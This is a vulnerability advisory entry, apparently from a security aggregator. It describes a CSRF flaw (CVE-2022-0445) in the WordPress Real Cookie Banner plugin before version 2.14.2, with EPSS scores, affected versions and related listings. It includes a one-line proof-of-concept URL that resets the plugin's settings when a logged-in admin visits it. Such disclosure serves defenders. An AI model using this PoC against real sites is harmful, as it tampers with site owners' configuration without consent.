Lucene search
Krzysztof ZającWPVDB-ID:D9F28255-0026-4C42-9E67-D17B618C2285HistoryFeb 07, 2022 - 12:00 a.m.
WordPress Real Cookie Banner < 2.14.2 - Settings Reset via CSRF
2022-02-0700:00:00
Krzysztof Zając
wpscan.com
3
0.001 Low
EPSS
Percentile
26.5%
The plugin does not have CSRF checks in place when resetting its settings, allowing attackers to make a logged in admin reset them via a CSRF attack
PoC
https://example.com/wp-admin/admin.php?page=real-cookie-banner-component&rcb-reset-all;=1
| CPE | Name | Operator | Version |
|---|---|---|---|
| real-cookie-banner | lt | 2.14.2 |
Related
prion
prion
Cross site request forgery (csrf)
2022-03-07 09:15:00
openvas
openvas
WordPress Real Cookie Banner Plugin < 2.14.2 CSRF Vulnerability
2023-01-25 00:00:00
nvd
nvd
CVE-2022-0445
2022-03-07 09:15:09
patchstack
patchstack
wpexploit
wpexploit
WordPress Real Cookie Banner < 2.14.2 - Settings Reset via CSRF
2022-02-07 00:00:00
cvelist
cvelist
cve
cve
CVE-2022-0445
2022-03-07 09:15:09